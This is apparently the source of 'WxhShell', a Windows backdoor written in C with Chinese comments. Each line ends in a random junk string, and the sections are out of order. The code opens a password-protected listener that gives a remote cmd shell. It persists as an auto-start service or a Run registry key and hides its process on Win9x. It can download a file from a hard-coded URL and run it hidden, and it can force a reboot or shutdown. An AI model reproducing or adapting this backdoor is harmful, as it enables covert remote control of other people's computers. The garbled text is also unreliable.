  // 关机 N,U8YO  
  case 'd': { ;jTN | i'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7"xd1l?zz  
    if(Boot(SHUTDOWN)) 6S\8$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {FTqu.  
    else { @xZR9Z8]L  
    closesocket(wsh); RCLeA=/N@0  
    ExitThread(0); ~^b/(  
    } u> / TE  
    break; \5cpFj5%  
    } }4S6Xe  
  // 获取shell A. w:h;7  
  case 's': { 5E_YEBO/  
    CmdShell(wsh); 2dgd~   
    closesocket(wsh); 4nz35BLr  
    ExitThread(0); C2)2)  
    break; YT8F#t8  
  } c6/=Gq{.  
  // 退出 sUm'  
  case 'x': { 7T'B6`-Ox  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r!{Up7uL  
    CloseIt(wsh); FU<Jp3<%  
    break; 7vj2 `+r.  
    } dGTsc/$  
  // 离开 8e"gW >f  
  case 'q': { O<W_fx8_'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -s'-eQF J  
    closesocket(wsh); mlS$>O_aX  
    WSACleanup(); ?b5 ^  
    exit(1); !$>R j  
    break; Nl(Foya%)  
        } VOh4#%Vj  
  } @$K"o7+]   
  } F1Bq$*'N$w  
_t}WsEQ+P  
  // 提示信息 B4 8={  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,wdD8ZT'Ip  
} hwNf~3eJk  
  } h3@v+Z<}  
t<?,F  
  return; Y:)e(c"A  
} B^jc3 VsR  
t@+}8^ M  
// shell模块句柄 m<2M4u   
int CmdShell(SOCKET sock) BJo*'US-Q  
{ ?5 [=(\/.  
STARTUPINFO si; W'u>#  
ZeroMemory(&si,sizeof(si)); -;k+GrLr^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "Os_vlapHo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -+-_I*(  
PROCESS_INFORMATION ProcessInfo; ges J/I  
char cmdline[]="cmd"; '(jG[ry&T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QnX(V[  
  return 0; *EwR!L*  
} 0S$N05  
=zs`#-^8  
// 自身启动模式 t9IW/Q  
int StartFromService(void) 57'4ljvYi  
{ 2jCfT>`3  
typedef struct 7W.~  
{ PRE|+=w$  
  DWORD ExitStatus; 6Sn.I1Wy  
  DWORD PebBaseAddress; QUQ'3  
  DWORD AffinityMask; 1D!<'`)AY  
  DWORD BasePriority; #@nezu2  
  ULONG UniqueProcessId; LC!bIm5'  
  ULONG InheritedFromUniqueProcessId; }|5Pr(I  
}   PROCESS_BASIC_INFORMATION; Fh9h,' V"  
4#hSJ(~7S  
PROCNTQSIP NtQueryInformationProcess; cDkf qcC  
dzrio-QU~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r^ ZEImjc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D=&Me=$  
K8Y=S12Ti  
  HANDLE             hProcess; 4)o  
  PROCESS_BASIC_INFORMATION pbi; $\y'I Q%  
gjzuG< 7m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i,9)\1R  
  if(NULL == hInst ) return 0; 7EO_5/cY  
cq4I pe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >Wg hn:^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ls)%c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {h`uV/5@`  
As<bL:>dE  
  if (!NtQueryInformationProcess) return 0; Jo23P.#<  
1|-Dj|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \=0Vi6!Mc  
  if(!hProcess) return 0; x{ WD;$J  
"wh , Ue  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fPW@{~t  
"OnGE$   
  CloseHandle(hProcess); -_eLf#3  
s.NGA.]$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WaR`Kp+>  
if(hProcess==NULL) return 0; %FIE\9  
_b;{_g  
HMODULE hMod; y7Df_|Z  
char procName[255]; #|PS&}6wU  
unsigned long cbNeeded; Z!X0U7& U  
KRDmY+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m$T-s|SY  
&H:(z4/  
  CloseHandle(hProcess); h2 ;F  
Bh]P{H%  
if(strstr(procName,"services")) return 1; // 以服务启动 '$zIbQ:  
RQu(Wu|m.  
  return 0; // 注册表启动 (;^syJrh  
} J!U}iD@occ  
S\!ana])  
// 主模块 !H>R%g#28_  
int StartWxhshell(LPSTR lpCmdLine) #" iu| D  
{ [-oc>; `=l  
  SOCKET wsl; AX/m25x  
BOOL val=TRUE; LOV)3{m  
  int port=0; H\tUpan6fy  
  struct sockaddr_in door; Pdt vU-(  
, ^f+^^  
  if(wscfg.ws_autoins) Install(); $aXer:  
JbQ) sp  
port=atoi(lpCmdLine); 63,H{  
I,@6J(9  
if(port<=0) port=wscfg.ws_port; >> fH{/l  
*N'p~LJ  
  WSADATA data; "d5n \@[t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OMg<V  
>_ 2dvg=U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /HRFAqep  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ThbGQ"/  
  door.sin_family = AF_INET; zi*R`;_`,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); naznayy  
  door.sin_port = htons(port); .$)  
2Ny"O.0h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,>+p-M8ZL  
closesocket(wsl); WKa~[j|-K  
return 1; R/>@ +  
} a\ YV3NJ/A  
PQ$%H>{  
  if(listen(wsl,2) == INVALID_SOCKET) { +-CtjhoS  
closesocket(wsl); F,)%?<!I  
return 1; j*TYoH1  
} 2Gaa(rJ5o  
  Wxhshell(wsl); 6]%sFy2  
  WSACleanup(); * U=s\  
;&-k#PE]/H  
return 0; ; _1 at  
7!TueP0Zd  
} VrQmP  
'K{Z{[s{  
// 以NT服务方式启动 :I^;jdL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b9<#K+L-  
{ t$#jL5  
DWORD   status = 0; vJOw]cwq  
  DWORD   specificError = 0xfffffff; XtSkh] #z!  
t+T4-1 3a  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  dZ0vA\z|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s 3f-7f<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O]Qd<%V'x  
  serviceStatus.dwWin32ExitCode     = 0; 3Xy-r=N.l  
  serviceStatus.dwServiceSpecificExitCode = 0; DG ;_Vg  
  serviceStatus.dwCheckPoint       = 0; /F'sb[  
  serviceStatus.dwWaitHint       = 0; 4s{~r  
(uZ&V7l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wLJ:\_Jaf  
  if (hServiceStatusHandle==0) return; "J8vjr1/  
Pax|x15  
status = GetLastError(); MC:@U~}6  
  if (status!=NO_ERROR) rJbf_]^  
{ !"/n/jz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @wo(tf=@P  
    serviceStatus.dwCheckPoint       = 0; 0+;bh {Eu  
    serviceStatus.dwWaitHint       = 0;  >DZw  
    serviceStatus.dwWin32ExitCode     = status; k:F9. j%*  
    serviceStatus.dwServiceSpecificExitCode = specificError; kH7(@Pa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rb+j*5Es  
    return; =wOm}V8 N&  
  } OGg>#vj,s  
po Vx8oO8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bU:EqW\(^  
  serviceStatus.dwCheckPoint       = 0; `q*M4,  
  serviceStatus.dwWaitHint       = 0; k=JrLfD4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T1Z;r*}  
} v~V!ayn)wQ  
[)zP6\I  
// 处理NT服务事件,比如:启动、停止 A5R<p+t6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xQXXC|T  
{ ,-d 0b0  
switch(fdwControl) /-+xQn]  
{ ]cZ!y ~  
case SERVICE_CONTROL_STOP: cir$voL  
  serviceStatus.dwWin32ExitCode = 0; MWpQ^dL_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4DOH`6#an  
  serviceStatus.dwCheckPoint   = 0; "ZsOd>[/  
  serviceStatus.dwWaitHint     = 0; X4Ic;  
  { g<f <Ip=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N&g3t%F  
  } b Y\K  
  return; 4;]hK!AXS  
case SERVICE_CONTROL_PAUSE: mA+&Io  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; se>8Z4  
  break; Cdu4U}^H  
case SERVICE_CONTROL_CONTINUE: Za3]d+qm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zrk4*/ VY  
  break; v}O30wE  
case SERVICE_CONTROL_INTERROGATE: 'o+L41  
  break; ^l=!JP=M=  
}; }v!$dr,j '  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -$jEfi4I  
} W~~7 C,!  
fW3(&@  
// 标准应用程序主函数 I]<_rN8~o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B!_mC<*4`X  
{ (# Gw1  
?DQsc9y  
// 获取操作系统版本 ke]Lw  
OsIsNt=GetOsVer(); rrqR}}l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4Thn])%I  
Ix!Iw[CNd  
  // 从命令行安装 `YLD`(\  
  if(strpbrk(lpCmdLine,"iI")) Install(); D=m9fFz  
?:8ido#-  
  // 下载执行文件 +*T7@1  
if(wscfg.ws_downexe) { Dhw(#{N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $M lW4&a|  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ax?y  
} O%(fx!c`  
_w/EP  
if(!OsIsNt) { D!NQ~'.a=2  
// 如果时win9x,隐藏进程并且设置为注册表启动 mdmvT~`  
HideProc(); I^UC&5dC  
StartWxhshell(lpCmdLine); V4P; 5[  
} Gh}LlX!w  
else ,5kKimTt  
  if(StartFromService()) 7;sj%U^'l  
  // 以服务方式启动 bRJMYs  
  StartServiceCtrlDispatcher(DispatchTable); 1+qw$T  
else / !Wu D\B  
  // 普通方式启动 }Q?c"H!/  
  StartWxhshell(lpCmdLine); f3&[#%  
iZNts%Y]  
return 0; ;WM"cJo9  
} $Ifmc`r1  
-UdEeZz.  
[}/LD3  
u7\J\r4,+  
=========================================== /#-C4"|  
R)z4n  
{QZUDPPR  
*4xat:@{{  
SHbtWq}T  
~\.w^*$#Y  
" M?:c)&$]D  
OK6] e3UO  
#include <stdio.h> ;04Ldb1{|3  
#include <string.h> L ugn 3+  
#include <windows.h> Rhz_t@e  
#include <winsock2.h> `m>*d!h=  
#include <winsvc.h> 65p?Igb  
#include <urlmon.h> #H{<gjs]  
pr#z=vqH  
#pragma comment (lib, "Ws2_32.lib") WObvbaK  
#pragma comment (lib, "urlmon.lib") Vf'd*-_!Q<  
Jd(,/q  
#define MAX_USER   100 // 最大客户端连接数 | 8=nL$u  
#define BUF_SOCK   200 // sock buffer ,:`4%  
#define KEY_BUFF   255 // 输入 buffer a1.Ptf eW|  
_$f9]bab  
#define REBOOT     0   // 重启 ]*FVz$>XM  
#define SHUTDOWN   1   // 关机 vj\dA2!~  
P h}|dGb  
#define DEF_PORT   5000 // 监听端口 %D8ZO0J7H  
7L@K _ZJ  
#define REG_LEN     16   // 注册表键长度 M^iU;vo  
#define SVC_LEN     80   // NT服务名长度 ryCI>vJz  
Y$Y_fjd_  
// 从dll定义API & )vC;$vD`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jhu&& ==\f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T ;vF(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GXjfQ~<]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C;`XlQG `  
{R61cD,n  
// wxhshell配置信息 ?jt}*q>X]  
struct WSCFG { + 33@?fl.  
  int ws_port;         // 监听端口 %Gj8F4{  
  char ws_passstr[REG_LEN]; // 口令 '|*?*6q  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yd=a}T  
  char ws_regname[REG_LEN]; // 注册表键名 8&~~j7p,  
  char ws_svcname[REG_LEN]; // 服务名 k^%B5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )m{Ye0!RD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AUNQA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {h2TD P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pT1[<X!<s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S_v'hlrrT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9Xl5@%uz?z  
& jczO-R^  
}; 6{+{lBm=y  
&q~:~   
// default Wxhshell configuration P*@2.#oO  
struct WSCFG wscfg={DEF_PORT, ~L_hZso4  
    "xuhuanlingzhe", ;3@YZM'wt  
    1, CQr<N w  
    "Wxhshell", $w0lrh[+  
    "Wxhshell", @qjfZH@  
            "WxhShell Service", ;9ly'<up  
    "Wrsky Windows CmdShell Service", P=+nB*hG  
    "Please Input Your Password: ", )aao[_ZS  
  1, VX+jadYdq  
  "http://www.wrsky.com/wxhshell.exe", MJCzo |w  
  "Wxhshell.exe" hL;8pE8  
    }; !F4@KAv  
6"t;gSt 4  
// 消息定义模块 L%$|^T=%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E+tB&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UH>F|3"d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a/U2xq{x  
char *msg_ws_ext="\n\rExit."; PN<C=gAe  
char *msg_ws_end="\n\rQuit."; bb`':3%  
char *msg_ws_boot="\n\rReboot..."; P<2 +L|X?}  
char *msg_ws_poff="\n\rShutdown..."; |vMpXiMxxT  
char *msg_ws_down="\n\rSave to "; ZP$-uaa-  
ND,Kldji  
char *msg_ws_err="\n\rErr!"; zBp{K@U[|M  
char *msg_ws_ok="\n\rOK!";  "t$k  
f\1A! Yp  
char ExeFile[MAX_PATH]; e)IpPTj#  
int nUser = 0; ym/fFm6h  
HANDLE handles[MAX_USER]; Q33"u/-v  
int OsIsNt; %#Z/2<_  
lR`'e0Lq  
SERVICE_STATUS       serviceStatus; qdG~!h7j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h:)Ci!D;  
[kzd(u  
// 函数声明 G #T<`>T  
int Install(void); B_l{<  
int Uninstall(void); m6yIR6H  
int DownloadFile(char *sURL, SOCKET wsh); 8W+gl=C~  
int Boot(int flag); JwRF(1_sM  
void HideProc(void); eo!zW  
int GetOsVer(void); jWO/ xX  
int Wxhshell(SOCKET wsl); GK}'R=   
void TalkWithClient(void *cs); !W'Ui 9uX  
int CmdShell(SOCKET sock); ~!d/8?!   
int StartFromService(void); wpt='(  
int StartWxhshell(LPSTR lpCmdLine); a7/-wk  
u=NS sTP&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :!f(F9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q$.{j"cZV  
dg7=X{=9jv  
// 数据结构和表定义 KZ e)K_1[  
SERVICE_TABLE_ENTRY DispatchTable[] = tYqs~B3  
{ I.@hW>k  
{wscfg.ws_svcname, NTServiceMain}, A[dvEb;r  
{NULL, NULL}  \^K&vW;  
}; xwZ8D<e-,  
&G>(9  
// 自我安装 [;oCYb$9  
int Install(void)  ,chf~-d  
{ dj&}Gedy  
  char svExeFile[MAX_PATH]; ZC 4*{  
  HKEY key; iH2n.M "  
  strcpy(svExeFile,ExeFile); m&0"<V!H/B  
l\!-2 T6Y  
// 如果是win9x系统,修改注册表设为自启动 ]G}B 0u3  
if(!OsIsNt) { 's!-80sd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ExXM:1 e26  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _uu<4c   
  RegCloseKey(key); cj|*_}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u%dKig  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $7Mtt.d6  
  RegCloseKey(key); >71&]/Rv  
  return 0; & &<9p;E  
    } O^I[ (8Y8  
  } i=32KI(%  
} a!c[!  
else { W~B5>;y  
b~C$R[S  
// 如果是NT以上系统,安装为系统服务 rspayO<]3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]AS"z<  
if (schSCManager!=0) B)h>8 {  
{ X0+fsf<H}  
  SC_HANDLE schService = CreateService 7W9d6i)  
  ( 0i8h I6d  
  schSCManager, oXt,e   
  wscfg.ws_svcname, hsG#6?l3  
  wscfg.ws_svcdisp, rt+..t\  
  SERVICE_ALL_ACCESS, do>"[RO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?68uS;  
  SERVICE_AUTO_START, :Ze+%d=  
  SERVICE_ERROR_NORMAL, :y,v&Kk#T  
  svExeFile, 8Chu"PM%-J  
  NULL, Ei@M$Fd  
  NULL, I5);jgb  
  NULL, FkupO I  
  NULL, AdoZs8Q  
  NULL w, jcm;  
  ); D~&Mwsi  
  if (schService!=0) iY/KSX^~O  
  { o8FXqTUcs4  
  CloseServiceHandle(schService); q cA`)j  
  CloseServiceHandle(schSCManager); qturd7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y ZaP  
  strcat(svExeFile,wscfg.ws_svcname); 7/X"z=Q^|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Zq ot{s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N\1/JW+  
  RegCloseKey(key); I]J*BD#n.  
  return 0; /=#~  
    } !m{2WW-  
  } K,}w]b  
  CloseServiceHandle(schSCManager); ~%|G+m>  
} xQlT%X;'  
} H.J5i~s  
@#b0T:+v'  
return 1; mg+k'Myo+  
} ~HUZ#rUHm>  
9 K  
// 自我卸载 K2/E#}/  
int Uninstall(void) f!-Sz/c#  
{ F}rPY:  
  HKEY key; 4W\,y_Q o  
]Bb7(JX  
if(!OsIsNt) { mKg@W;0ML  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ke.7Zp2.R  
  RegDeleteValue(key,wscfg.ws_regname); GZ0aOpUWVq  
  RegCloseKey(key); WY)^1Gb$ux  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s"0b%0?A  
  RegDeleteValue(key,wscfg.ws_regname); o;-<|W>  
  RegCloseKey(key); }Pg' vJW  
  return 0; 0v"&G<J  
  } Wc#:f 8dr  
} Ha ZFxh-(  
} bEr.nF  
else { s5Fr)q// !  
FyEDt@J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %N~C vN@T  
if (schSCManager!=0) VVrwOo CN  
{ e.6Dl_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `h;}3r#R{  
  if (schService!=0) B$`lY DqaG  
  { `.k5v7!o  
  if(DeleteService(schService)!=0) { o|2 87S|$  
  CloseServiceHandle(schService); C?Qf F{!7  
  CloseServiceHandle(schSCManager); t,vTAq.))  
  return 0; $M]%vG  
  } A"/aGCG0z  
  CloseServiceHandle(schService); >7>7/7=O  
  } %9c|%#3  
  CloseServiceHandle(schSCManager); }?O[N}>,m  
} hBCR]=']  
} `5"/dC  
CT5Y/E? }  
return 1; ~440# kj<  
} u"F;OT\>g  
?2~U2Ir]:  
// 从指定url下载文件 8SD}nFQ  
int DownloadFile(char *sURL, SOCKET wsh) =O^7TrM  
{ R/N<0!HZ  
  HRESULT hr; l:tpL(%  
char seps[]= "/"; ofEqvoi@  
char *token; {qAu/ixp  
char *file; tvWH04T  
char myURL[MAX_PATH]; KHJ=$5r)  
char myFILE[MAX_PATH]; mW$ot.I  
-iQsi4  
strcpy(myURL,sURL); Z oTNm  
  token=strtok(myURL,seps); urxqek  
  while(token!=NULL) w?ai,Pw  
  { ~&[u]u[  
    file=token; V/UB9)i+  
  token=strtok(NULL,seps); ._BB+G  
  } <jL#>L%%  
gLCz]D.'  
GetCurrentDirectory(MAX_PATH,myFILE); $T)d!$  
strcat(myFILE, "\\"); vXPuyR<J  
strcat(myFILE, file); F> Mr<k=@;  
  send(wsh,myFILE,strlen(myFILE),0); $wXih#7  
send(wsh,"...",3,0); fle0c^=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \2eFpy(  
  if(hr==S_OK)  'O1.6*K  
return 0; )n7)}xy#z  
else 'o8\`\'H!  
return 1; Gt.*_E  
|7S:l9;  
} F9D"kG;Dk  
xhD$e= g  
// 系统电源模块 ?HxS)Pqq  
int Boot(int flag) [xS5z1;  
{ JE%i-UVH+;  
  HANDLE hToken; \R;K>c7=  
  TOKEN_PRIVILEGES tkp; @5*xw1B  
w2<*$~C]  
  if(OsIsNt) { 4O Zy&,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &x/k^p=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y=WR6!{  
    tkp.PrivilegeCount = 1; gx&73f<J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &@oq~j_7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bfc.rZ  
if(flag==REBOOT) { tYI]=:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) { ;' :h  
  return 0; ^*zW"s  
} B$EK_@M  
else { IHfSkFz`j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )ldUayJ  
  return 0; I9s$bRbT  
} Q~CpP9%  
  } 8ok7|DJ  
  else { z5I^0'  
if(flag==REBOOT) { K \m4*dOv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6NKF'zh  
  return 0; 8|_K  
} dTgM"k  
else { 6 cr^<]v!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <e^6.!;W  
  return 0; bAdAp W  
} u p7 x)w:  
} QZ9M{Y/  
vD"_X"v  
return 1; R=DPeUy;  
} 8ST~$!z$  
|7Yvq%E  
// win9x进程隐藏模块 {)jk_&c7  
void HideProc(void) \ 6jF{  
{ t-a`.y  
Dl@{}9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %L.rcbg:<c  
  if ( hKernel != NULL ) )[RpZpd`*  
  { D)RdOldr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >R) F}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f@#w{W,3  
    FreeLibrary(hKernel); l+'`BBh*]  
  } Ny[s+2?  
DD)mN) &T  
return; IFkvv1S`  
} ?RqTbT@~  
aq$62>[  
// 获取操作系统版本 :0|Hcg  
int GetOsVer(void) u<J2p?`\&`  
{ QDl)92z  
  OSVERSIONINFO winfo; ge@reGfsB1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'II vub#q  
  GetVersionEx(&winfo); ^$ZI>L0+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V=Ww>  
  return 1; Ty(yh(oYF`  
  else HK=CP0H  
  return 0; +KYxw^k}"7  
} Udg & eEF  
/6A:J]Q_  
// 客户端句柄模块 }b<87#Nb9R  
int Wxhshell(SOCKET wsl) ArLz;#AOn  
{ yg.\^C  
  SOCKET wsh; K7y!s :rg!  
  struct sockaddr_in client; u_hE7#i  
  DWORD myID; yDDghW'\WU  
dW:w<{a!R  
  while(nUser<MAX_USER) T;xHIg4  
{ f45;fT>   
  int nSize=sizeof(client); _-YL!oP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @5JLjCN  
  if(wsh==INVALID_SOCKET) return 1; c4S>_qH  
o x03c   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -(|7`U  
if(handles[nUser]==0) Qj{$dqmDN  
  closesocket(wsh); {A !;W  
else CAA tco5  
  nUser++; /[p?_EX@  
  } 1 yxZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X=-gAutfE=  
ze-TBh/  
  return 0; JsHxQ0Tw  
} %D`^  
ktkn2Twa/  
// 关闭 socket \fkS_r,i  
void CloseIt(SOCKET wsh) :9v*,*@x  
{ )ylv(qgV  
closesocket(wsh); ~m009  
nUser--; f]{1ZU%4  
ExitThread(0); /7!_un9  
} >;T$#LZ  
"P>$=X~Zi  
// 客户端请求句柄 ym-lT|>Z  
void TalkWithClient(void *cs)  3J'Bm"  
{ ,k`YDy|#e  
m? ]zomP  
  SOCKET wsh=(SOCKET)cs; Ncs4<"{$  
  char pwd[SVC_LEN]; ;HD 4~3   
  char cmd[KEY_BUFF]; oP 6.t-<dU  
char chr[1]; ?[a7l:3-[  
int i,j; .I f"'hMY  
)Gu0i7iN  
  while (nUser < MAX_USER) { 4O5n6~24  
\#IJ=+z   
if(wscfg.ws_passstr) { d&$.jk8 2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q6e'0EIKC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (25^r  
  //ZeroMemory(pwd,KEY_BUFF); -&f]X u  
      i=0; 6&/ Ew4 e  
  while(i<SVC_LEN) { P@o,4\;K  
y^0HCp{  
  // 设置超时 {+9^PC_hm;  
  fd_set FdRead; cQUH%7m  
  struct timeval TimeOut; fwar8 i1  
  FD_ZERO(&FdRead); C.Wms}XA  
  FD_SET(wsh,&FdRead); i`ZHjW~`  
  TimeOut.tv_sec=8; ?[NTw./'7A  
  TimeOut.tv_usec=0; XSL t;zL:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +S:u[x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dvrvpDoE.  
5Xq.=/eX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 75^)Ni  
  pwd=chr[0]; UeK, q>i  
  if(chr[0]==0xd || chr[0]==0xa) { 5Tcl<Y6l  
  pwd=0; S>vVjq?~l(  
  break; `% #zMS  
  } gz)wUQ|W  
  i++; [E..VesrM  
    } 945 |MQPn  
E@'CU9Fo  
  // 如果是非法用户,关闭 socket d=.n|rS4 W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jN5} 2 p*  
} ;OT#V,}r  
wj";hAw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _dJVnC1 !  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o0-fUCmC  
t2!$IHE:  
while(1) { ,/[dmoe  
/o}0oo5B  
  ZeroMemory(cmd,KEY_BUFF); ozxK?AMgG  
 5K_N  
      // 自动支持客户端 telnet标准   zd*W5~xKg  
  j=0; nJM9c[Ou^H  
  while(j<KEY_BUFF) { y<Z#my$`|n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (dGM;Dq8  
  cmd[j]=chr[0]; >uqS  
  if(chr[0]==0xa || chr[0]==0xd) { L`VQ{|&3V  
  cmd[j]=0; R fVV(X  
  break; hBYh90]  
  } ,sRrV $,"  
  j++; O. .@<.  
    } D^T7pO  
BSq;R G(  
  // 下载文件 `hQ!*f6  
  if(strstr(cmd,"http://")) { }GU6Q|s[u[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sQ3ayB`  
  if(DownloadFile(cmd,wsh)) S:B- nI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ngH~4HyT  
